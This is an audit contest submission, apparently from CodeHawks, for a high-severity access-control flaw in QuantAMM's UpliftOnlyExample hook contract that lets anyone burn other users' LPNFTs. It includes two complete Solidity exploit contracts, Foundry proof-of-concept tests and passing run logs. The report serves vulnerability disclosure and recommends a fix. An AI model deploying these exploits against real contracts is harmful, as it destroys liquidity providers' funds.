QuantAMM

QuantAMM
49,600 OP
View results
Submission Details
Severity: high
Valid

Attacker can cause users losing money by burning the LPNFT token of any user by exploiting onAfterRemoveLiquidity lack of proper access control

Summary

Attacker can cause users losing money by burning the LPNFT token of any user by exploiting onAfterRemoveLiquidity lack of proper access control.

The root cause is due to lack of proper access control in onAfterRemoveLiquidity function that allows anyone to call this function.

Vulnerability Details

In an in-scope of the audit that is contract UpliftOnlyExample.sol, the function onAfterRemoveLiquidity is intended to be called as a hook during Remove liquidity transaction.

https://github.com/Cyfrin/2024-12-quantamm/blob/main/pkg/pool-hooks/contracts/hooks-quantamm/UpliftOnlyExample.sol#L431C14-L440

/// @inheritdoc BaseHooks
function onAfterRemoveLiquidity(
address router,
address pool,
RemoveLiquidityKind,
uint256 bptAmountIn,
uint256[] memory,
uint256[] memory amountsOutRaw,
uint256[] memory,
bytes memory userData
) public override onlySelfRouter(router) returns (bool, uint256[] memory hookAdjustedAmountsOutRaw) {

This function has an modifier onlySelfRouter(router) that validates if the input parameter router is this contract.

https://github.com/Cyfrin/2024-12-quantamm/blob/main/pkg/pool-hooks/contracts/hooks-quantamm/UpliftOnlyExample.sol#L190-L193

modifier onlySelfRouter(address router) {
_ensureSelfRouter(router);
_;
}
// https://github.com/Cyfrin/2024-12-quantamm/blob/main/pkg/pool-hooks/contracts/hooks-quantamm/UpliftOnlyExample.sol#L683-L687
function _ensureSelfRouter(address router) private view {
if (router != address(this)) {
revert CannotUseExternalRouter(router);
}
}

This function lacks proper access control because anyone can call this function by input the router parameter as this contract.

An attacker can exploit this vulnerability to burn the liquidity token of any user. Remember that when users add liquidity by calling addLiquidityProportional(), an LPNFT is minted for the user and the deposit value is stored in the storage array poolsFeeData[pool][user]

Now an attacker can call onAfterRemoveLiquidity and input userData for any user and any bptAmountIn amount to burn the LPNFT token of any user. By doing so, the user lost the money that he provided liquidity for the QuantAMM protocol in UpliftOnlyExample contract. Later, the users cannot remove the liquidity and receive back the money.

// https://github.com/Cyfrin/2024-12-quantamm/blob/main/pkg/pool-hooks/contracts/hooks-quantamm/UpliftOnlyExample.sol#L441
address userAddress = address(bytes20(userData));
// https://github.com/Cyfrin/2024-12-quantamm/blob/main/pkg/pool-hooks/contracts/hooks-quantamm/UpliftOnlyExample.sol#L468
FeeData[] storage feeDataArray = poolsFeeData[pool][userAddress];

https://github.com/Cyfrin/2024-12-quantamm/blob/main/pkg/pool-hooks/contracts/hooks-quantamm/UpliftOnlyExample.sol#L493-L511

// if the deposit is less than the amount left to burn, burn the whole deposit and move on to the next
if (feeDataArray[i].amount <= localData.amountLeft) {
uint256 depositAmount = feeDataArray[i].amount;
localData.feeAmount += (depositAmount * feePerLP);
localData.amountLeft -= feeDataArray[i].amount;
lpNFT.burn(feeDataArray[i].tokenID);
delete feeDataArray[i];
feeDataArray.pop();
if (localData.amountLeft == 0) {
break;
}
} else {
feeDataArray[i].amount -= localData.amountLeft;
localData.feeAmount += (feePerLP * localData.amountLeft);
break;
}

Impact

An attacker can exploit this vulnerability to burn the liquidity token of any user. By doing so, the victim lost the money that he provided liquidity for the QuantAMM protocol in UpliftOnlyExample contract.

Impact: High

Reason: Because users' fund are directly lost

Likelyhood: High

It's highly to happen. A hacker can call a function directly. The cost of the attack is cheap, explained below.

=> Total Impact: High

Reference: https://docs.codehawks.com/hawks-auditors/how-to-evaluate-a-finding-severity

Tools Used

Test case in Foundry Framework

Proof of Concept

The scenario when getQuantAMMUpliftFeeTake of _updateWeightRunner is 0

In this scenario, the attacker just need to pay the gas to execute the exploit.

Step 0: Setup the precondition for the attack. The victim Bob has added 1000 DAI and 1000 USDC to the upliftOnlyRouter that is UpliftOnlyExample contract.

Step 1: Deploy the ExploitOnAfterRemoveLiquidity contract.

Step 2: Execute the exploit. In this exploit, first call Vault.unlock() to unlock the Vault. In the callback() from Vault, call the onAfterRemoveLiquidity to burn the victim's LPNFT

Step 3: Check that that Bob's LPNFT was burned and getUserPoolFeeData length of Bob is 0

POC Code:

contract ExploitOnAfterRemoveLiquidity {
address owner;
UpliftOnlyExample upliftOnlyRouter;
address vault;
address victim;
address pool;
constructor() {
owner = msg.sender;
}
function execute_Exploit(UpliftOnlyExample upliftOnlyRouter_, address vault_, address pool_, address victim_) public {
require(msg.sender == owner, "Only owner can call this function");
upliftOnlyRouter = upliftOnlyRouter_;
vault = vault_;
pool = pool_;
victim = victim_;
bytes memory data = abi.encodeWithSignature("callback()");
Vault_interface(vault).unlock(data);
}
function callback() public {
require(msg.sender == vault, "Only vault can call this function");
uint256 bptAmountIn = 2000000000000000000000; // try with max value
uint256[] memory amount = new uint256[]();
amount[0] = 0;
amount[1] = 0;
uint256[] memory amountOut = new uint256[]();
amountOut[0] = 0;
amountOut[1] = 0;
// userData is encodePacked of the victim that is any user. In this case is Bob
bytes memory userData = abi.encodePacked(victim);
upliftOnlyRouter.onAfterRemoveLiquidity(address(upliftOnlyRouter), pool, RemoveLiquidityKind.PROPORTIONAL, bptAmountIn, amount, amountOut, amount, userData);
}
}
function testOnAfterRemoveLiquidity_Hacked() public {
uint256 fee = updateWeightRunner.getQuantAMMSwapFeeTake();
console.log("getQuantAMMSwapFeeTake: ", fee);
// Add liquidity so bob has BPT to remove liquidity.
// Step : Setup precondition that victim is Bob added liquidity to the upliftOnlyRouter router contract
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
vm.prank(bob);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount, false, bytes(""));
vm.stopPrank();
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob).length, 1, "bptAmount mapping should be 1");
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].amount, bptAmount, "bptAmount mapping should be 0");
assertEq(
upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].blockTimestampDeposit,
block.timestamp,
"bptAmount mapping should be 0"
);
assertEq(
upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].lpTokenDepositValue,
500000000000000000,
"should match sum(amount * price)"
);
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].upliftFeeBps, 200, "fee");
uint256 nftTokenId = 0;
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
BaseVaultTest.Balances memory balancesBefore = getBalances(bob);
vm.stopPrank();
bytes memory data = abi.encodeWithSignature("execute_Exploit()");
// Step 1: Deploy the ExploitOnAfterRemoveLiquidity contract
ExploitOnAfterRemoveLiquidity exploit = new ExploitOnAfterRemoveLiquidity();
// Step 2: Execute the exploit
exploit.execute_Exploit(upliftOnlyRouter, address(vault), pool, address(bob));
// Step 3: Check that Bob's LPNFT was burned and length is 0
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob).length, 0, "bptAmount mapping should be 0");
}

The scenario 2: when getQuantAMMUpliftFeeTake of _updateWeightRunner is not zero, can be 0.5e18 as in the code of UpdateWeightRunner

https://github.com/Cyfrin/2024-12-quantamm/blob/main/pkg/pool-quantamm/contracts/UpdateWeightRunner.sol#L124

uint256 public quantAMMSwapFeeTake = 0.5e18;

In this case, beside the gas to execute the attack transaction, the attacker need to pay for the admin fee.
For example, in the case Bob is the victim and has provided 1000 DAI and 1000 USDC to the UpliftOnlyExample. The attacker need to pay 0.5 DAI and 0.5 USDC as the admin fee to execute the attack. This is quite cheap so it makes the attack possible to do for a lot of users of the protocol.

Step 0: Setup the precondition for the attack. The victim Bob has added 1000 DAI and 1000 USDC to the upliftOnlyRouter that is UpliftOnlyExample contract.

Step 1: Deploy the ExploitOnAfterRemoveLiquidity contract.

Step 2: Execute the exploit. In this exploit, first call Vault.unlock() to unlock the Vault. In the callback() from Vault, call the onAfterRemoveLiquidity to burn the victim's LPNFT. Also attacker need to transfer the USDC and DAI to pay for the admin fee and call Vault.settle().

Step 3: Check that that Bob's LPNFT was burned and getUserPoolFeeData length of Bob is 0

The POC Code

contract ExploitOnAfterRemoveLiquidity_2 {
address owner;
UpliftOnlyExample upliftOnlyRouter;
address vault;
address victim;
address pool;
address dai;
address usdc;
constructor() {
owner = msg.sender;
}
function execute_Exploit(UpliftOnlyExample upliftOnlyRouter_, address vault_, address pool_, address dai_, address usdc_, address victim_) public {
require(msg.sender == owner, "Only owner can call this function");
upliftOnlyRouter = upliftOnlyRouter_;
vault = vault_;
pool = pool_;
victim = victim_;
dai = dai_;
usdc = usdc_;
bytes memory data = abi.encodeWithSignature("callback()");
Vault_interface(vault).unlock(data);
}
function callback() public {
require(msg.sender == vault, "Only vault can call this function");
uint256 bptAmountIn = 2000000000000000000000; // try with max value = 2000 * 10**18
uint256[] memory amount = new uint256[]();
amount[0] = 0;
amount[1] = 0;
uint256[] memory amountOut = new uint256[]();
amountOut[0] = 1000*10**18;
amountOut[1] = 1000*10**18;
// userData is encodePacked of the victim that is any user. In this case is Bob
bytes memory userData = abi.encodePacked(victim);
upliftOnlyRouter.onAfterRemoveLiquidity(address(upliftOnlyRouter), pool, RemoveLiquidityKind.PROPORTIONAL, bptAmountIn, amount, amountOut, amount, userData);
IERC20(dai).transfer(vault, 5e17);
IERC20(usdc).transfer(vault, 5e17);
Vault_interface(vault).settle(IERC20(dai),5e17 );
Vault_interface(vault).settle(IERC20(usdc),5e17 );
}
}
function testOnAfterRemoveLiquidity_Hacked_2() public {
deal(address(dai),address(this), 10**18);
deal(address(usdc),address(this), 10**18);
vm.startPrank(address(vaultAdmin));
updateWeightRunner.setQuantAMMSwapFeeTake(50e16);
vm.stopPrank();
uint256 fee = updateWeightRunner.getQuantAMMSwapFeeTake();
console.log("getQuantAMMSwapFeeTake: ", fee);
// Add liquidity so bob has BPT to remove liquidity.
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
console.log("Dai decimal ", dai.decimals());
console.log("usdc decimal ", usdc.decimals());
vm.prank(bob);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount, false, bytes(""));
vm.stopPrank();
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob).length, 1, "bptAmount mapping should be 1");
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].amount, bptAmount, "bptAmount mapping should be 0");
assertEq(
upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].blockTimestampDeposit,
block.timestamp,
"bptAmount mapping should be 0"
);
assertEq(
upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].lpTokenDepositValue,
500000000000000000,
"should match sum(amount * price)"
);
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].upliftFeeBps, 200, "fee");
uint256 nftTokenId = 0;
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
BaseVaultTest.Balances memory balancesBefore = getBalances(bob);
vm.stopPrank();
bytes memory data = abi.encodeWithSignature("execute_Exploit()");
// Step 1: Deploy the ExploitOnAfterRemoveLiquidity contract
ExploitOnAfterRemoveLiquidity_2 exploit = new ExploitOnAfterRemoveLiquidity_2();
dai.transfer(address(exploit),5e17);
usdc.transfer(address(exploit),5e17);
// Step 2: Execute the exploit
exploit.execute_Exploit(upliftOnlyRouter, address(vault), pool, address(dai), address(usdc), address(bob));
// Step 3: Check that Bob's LPNFT was burned and length is 0
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob).length, 0, "bptAmount mapping should be 0");
}

The Full POC is here:
https://gist.github.com/Perseverancesuccess2021/6e0e3cc4309de6db3958298ef10d4459#file-upliftexample-t-sol

Just replace to the folder 2024-12-quantamm\pkg\pool-hooks\test\foundry\UpliftExample.t.sol with this file

Run the test

forge test --match-test testOnAfterRemoveLiquidity_Hacked -vv
Ran 2 tests for test/foundry/UpliftExample.t.sol:UpliftOnlyExampleTest
[PASS] testOnAfterRemoveLiquidity_Hacked() (gas: 1114942)
Logs:
getQuantAMMSwapFeeTake: 0
[PASS] testOnAfterRemoveLiquidity_Hacked_2() (gas: 1689780)
Logs:
getQuantAMMSwapFeeTake: 500000000000000000
Dai decimal 18
usdc decimal 18
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 27.03ms (5.19ms CPU time)
Ran 1 test suite in 42.76ms (27.03ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)

Full Log with detailed trace:

https://gist.github.com/Perseverancesuccess2021/6e0e3cc4309de6db3958298ef10d4459#file-testonafterremoveliquidity_hacked_250111_1630-log

Recommendations

Add proper access control. Should allow only vault contract to call this function.

Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_onAfterRemoveLiquidity_no_access_control_wipe_all_data

Likelihood: High, anyone, anytime. Impact: High, Loss of funds

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!